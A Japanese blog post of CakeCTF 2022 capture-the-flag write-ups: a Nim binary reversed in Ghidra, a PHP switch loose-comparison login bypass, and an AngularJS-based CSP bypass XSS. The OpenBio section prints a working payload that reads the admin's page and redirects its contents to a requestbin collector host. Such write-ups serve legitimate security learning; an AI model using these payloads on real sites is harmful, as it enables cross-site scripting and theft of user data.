はまやんはまやんはまやん

hamayanhamayan's blog

CakeCTF 2022 Writeups

[rev] nimrev

ghidraで開いてCのコードを追っていく。
NimMainという関数があり、問題名を見ても、nimで書かれているのが分かる。
それっぽく処理を追っていくとNimMainModule関数にメインロジックがある。
変数名をちょっと読みやすく変えるとこのような感じになっている。

input = readLine_systemZio_271(stdin);
encoded = (undefined8 *)newSeq(NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_,0x18);
*(undefined *)(encoded + 2) = 0xbc;
*(undefined *)((long)encoded + 0x11) = 0x9e;
*(undefined *)((long)encoded + 0x12) = 0x94;
*(undefined *)((long)encoded + 0x13) = 0x9a;
*(undefined *)((long)encoded + 0x14) = 0xbc;
*(undefined *)((long)encoded + 0x15) = 0xab;
*(undefined *)((long)encoded + 0x16) = 0xb9;
*(undefined *)((long)encoded + 0x17) = 0x84;
*(undefined *)(encoded + 3) = 0x8c;
*(undefined *)((long)encoded + 0x19) = 0xcf;
*(undefined *)((long)encoded + 0x1a) = 0x92;
*(undefined *)((long)encoded + 0x1b) = 0xcc;
*(undefined *)((long)encoded + 0x1c) = 0x8b;
*(undefined *)((long)encoded + 0x1d) = 0xce;
*(undefined *)((long)encoded + 0x1e) = 0x92;
*(undefined *)((long)encoded + 0x1f) = 0xcc;
*(undefined *)(encoded + 4) = 0x8c;
*(undefined *)((long)encoded + 0x21) = 0xa0;
*(undefined *)((long)encoded + 0x22) = 0x91;
*(undefined *)((long)encoded + 0x23) = 0xcf;
*(undefined *)((long)encoded + 0x24) = 0x8b;
*(undefined *)((long)encoded + 0x25) = 0xa0;
*(undefined *)((long)encoded + 0x26) = 0xbc;
*(undefined *)((long)encoded + 0x27) = 0x82;
nimZeroMem(&local_28,0x10);
local_28 = colonanonymous__main_7;
local_20 = 0;
if (encoded == (undefined8 *)0x0) {
    flag = 0;
}
else {
    flag = *encoded;
}
encoded = (undefined8 *)map_main_11(encoded + 2,flag,colonanonymous__main_7,0);
if (encoded == (undefined8 *)0x0) {
    flag = 0;
}
else {
    flag = *encoded;
}
flag = join_main_42(encoded + 2,flag,0);
cVar1 = eqStrings(input,flag);

inputとflagを比較しているが、map_main_11というので何か処理がなされている。
colonanonymous__main_7関数を見ると

byte colonanonymous__main_7(byte param_1)
{
  return ~param_1;
}

といった感じなので、bit演算の否定を行っている。配列に代入されているバイト列の否定を取ってasciiに戻すとフラグが得られる。

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')NOT()&input=ICAweGJjCiAgMHg5ZQogIDB4OTQKICAweDlhCiAgMHhiYwogIDB4YWIKICAweGI5CiAgMHg4NAogIDB4OGMKICAweGNmCiAgMHg5MgogIDB4Y2MKICAweDhiCiAgMHhjZQogIDB4OTIKICAweGNjCiAgMHg4YwogIDB4YTAKICAweDkxCiAgMHhjZgogIDB4OGIKICAweGEwCiAgMHhiYwogIDB4ODI

CakeCTF{s0m3t1m3s_n0t_C}

[web] CakeGEAR

godmodeといういらないだろうという機能があるのでそのあたりを攻めることにする。
$_SERVER['REMOTE_ADDR']を攻略するのは難しそうだが…

優しいことに最小限のコードになっているのでgodmode関連経路にある要素からキーワードを抜き出して「php キーワード danger」でググっていくとswitchで良さそうなものが見つかる。
php switch danger - Google 検索
switchの時の比較は弱い比較になるのか。
ここに比較表があるので、眺めるとtrue == 文字列はTRUEになるらしい。
通信をInterceptして{"username":true,"password":"iamgod"}と送ってやるとフラグが手に入る。

CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}

[web] OpenBio

default-src 'none';
script-src 'nonce-73UwuQMY1nto6Bwzy3IhYA==' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';
style-src https://cdn.jsdelivr.net/;
frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;
base-uri 'none';
connect-src 'self';

以上のようなCSPがかけられている。
https://csp-evaluator.withgoogle.com/ に通す。

script-src
Host whitelists can frequently be bypassed. Consider using 'strict-dynamic' in combination with CSP nonces or hashes.
Consider adding 'unsafe-inline' (ignored by browsers supporting nonces/hashes) to be backward compatible with older browsers.
https://cdn.jsdelivr.net/
cdn.jsdelivr.net is known to host Angular libraries which allow to bypass this CSP.

AngularによるCSPバイパスが行えるようだ。
https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass
にあるpayloadを試すと、アラートが出てくる。

<script src="https://cdn.jsdelivr.net/angularjs/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>

管理者ユーザー名が抜き出せてくれば良さそうなので、取得して送る方針で考える。
connect-src 'self';があるので適当に外部に送ることはできないが、XMLHttpRequestで取得してきて、locationの遷移で外部に送る方針が使える。
これを踏ませて、ユーザー名を取得する。

<script src="https://cdn.jsdelivr.net/angularjs/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };var xhr = new XMLHttpRequest();xhr.open(`GET`,`http://challenge:8080/`);
xhr.onload = function() {
    location=`https://[requestbin]/get?${encodeURI(xhr.response)}`;
};
xhr.send();
//');}} </div>

踏ませるときに/profile/usernameを経由すると思うが、上のexploitコードが邪魔でreportが押せなかった。
interceptしてexploitコードを削除したうえで表示してreportすると良い。
あとは、titleタグを見ればユーザー名が分かるので/profile/入手ユーザー名を開けばフラグが得られる。

CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}